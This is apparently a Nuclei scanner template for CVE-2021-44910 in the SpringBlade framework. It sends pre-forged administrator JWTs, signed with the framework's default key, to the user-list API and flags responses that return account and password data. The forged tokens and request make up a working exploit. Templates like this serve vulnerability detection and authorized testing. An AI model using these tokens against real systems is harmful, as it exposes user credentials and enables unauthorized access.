SpringBlade - Information Leakage

id: CVE-2021-44910

info:
  name: SpringBlade - Information Leakage
  author: lbb
  severity: high
  description: |
    SpringBlade is a comprehensive project upgraded and optimized from a commercial-grade project, featuring both a SpringCloud distributed microservice architecture and a SpringBoot monolithic microservice architecture. The SpringBlade framework has a default SIGN_KEY, which can be exploited by attackers to obtain sensitive information such as user account password logs.
  reference:
    - https://github.com/chillzhuang/blade-tool
  metadata:
    max-request: 3
  tags: cve,cve2021,springblade,blade,info-leak

http:
  - raw:
      - |
        GET /api/blade-user/user-list HTTP/1.1
        Host: {{Hostname}}
        Blade-Auth: bearer {{bearer}}

    payloads:
      bearer:
        - 'eyJhbGciOiJIUzM4NCIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJpc3N1c2VyIiwiYXVkIjoiYXVkaWVuY2UiLCJ0ZW5hbnRfaWQiOiIwMDAwMDAiLCJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwicG9zdF9pZCI6IjExMjM1OTg4MjE3Mzg2NzUyMDEiLCJ1c2VyX2lkIjoiMTEyMzU5ODgyMTczODY3NTIwMSIsInJvbGVfaWQiOiIxMTIzNTk4ODIxNzM4Njc1MjAxIiwidXNlcl9uYW1lIjoiYWRtaW4iLCJuaWNrX25hbWUiOiLnrqHnkIblkZgiLCJ0b2tlbl90eXBlIjoiYWNjZXNzX3Rva2VuIiwiZGVwdF9pZCI6IjExMjM1OTg4MjE3Mzg2NzUyMDEiLCJhY2NvdW50IjoiYWRtaW4iLCJjbGllbnRfaWQiOiJzYWJlciJ9.gbUWSdFfmzfU_gKzFYjyyJzcrHBfOwswJvptowNwNwfo12QilWudTMg-LbDAOPwk'
        - 'eyJhbGciOiJIUzM4NCIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJpc3N1c2VyIiwiYXVkIjoiYXVkaWVuY2UiLCJ0ZW5hbnRfaWQiOiIwMDAwMDAiLCJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwicG9zdF9pZCI6IjExMjM1OTg4MjE3Mzg2NzUyMDEiLCJ1c2VyX2lkIjoiMTEyMzU5ODgyMTczODY3NTIwMSIsInJvbGVfaWQiOiIxMTIzNTk4ODIxNzM4Njc1MjAxIiwidXNlcl9uYW1lIjoiYWRtaW4iLCJuaWNrX25hbWUiOiLnrqHnkIblkZgiLCJ0b2tlbl90eXBlIjoiYWNjZXNzX3Rva2VuIiwiZGVwdF9pZCI6IjExMjM1OTg4MjE3Mzg2NzUyMDEiLCJhY2NvdW50IjoiYWRtaW4iLCJjbGllbnRfaWQiOiJzYWJlciJ9.gbUWSdFfmzfU_gKzFYjyyJzcrHBfOwswJvptowNwNwfo12QilWudTMg-LbDAOPwk'
        - 'eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJpc3N1c2VyIiwiYXVkIjoiYXVkaWVuY2UiLCJ0ZW5hbnRfaWQiOiIwMDAwMDAiLCJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwicG9zdF9pZCI6IjExMjM1OTg4MjE3Mzg2NzUyMDEiLCJ1c2VyX2lkIjoiMTEyMzU5ODgyMTczODY3NTIwMSIsInJvbGVfaWQiOiIxMTIzNTk4ODIxNzM4Njc1MjAxIiwidXNlcl9uYW1lIjoiYWRtaW4iLCJuaWNrX25hbWUiOiLnrqHnkIblkZgiLCJ0b2tlbl90eXBlIjoiYWNjZXNzX3Rva2VuIiwiZGVwdF9pZCI6IjExMjM1OTg4MjE3Mzg2NzUyMDEiLCJhY2NvdW50IjoiYWRtaW4iLCJjbGllbnRfaWQiOiJzYWJlciJ9.kol9scDVwLDE8U3mM_j8O4UYrpdUc9_Zw935g7Nb979DfRuanai1UeKsK2zCKuR77Otryi0sGzBfGANDbLseBg'

    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"success":true'
          - '"account":'
          - '"password":'
        condition: and

      - type: word
        part: header
        words:
          - 'application/json'

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100b8965db2f12da5b92605ff6a2c1e8b8968f42d7d31259e428c54abd9c342066e02210098f2e2b339dcd515081900537d59c694775232efa61957cfe2944fc5c159c9db:922c64590222798bb761d5b6d8e72950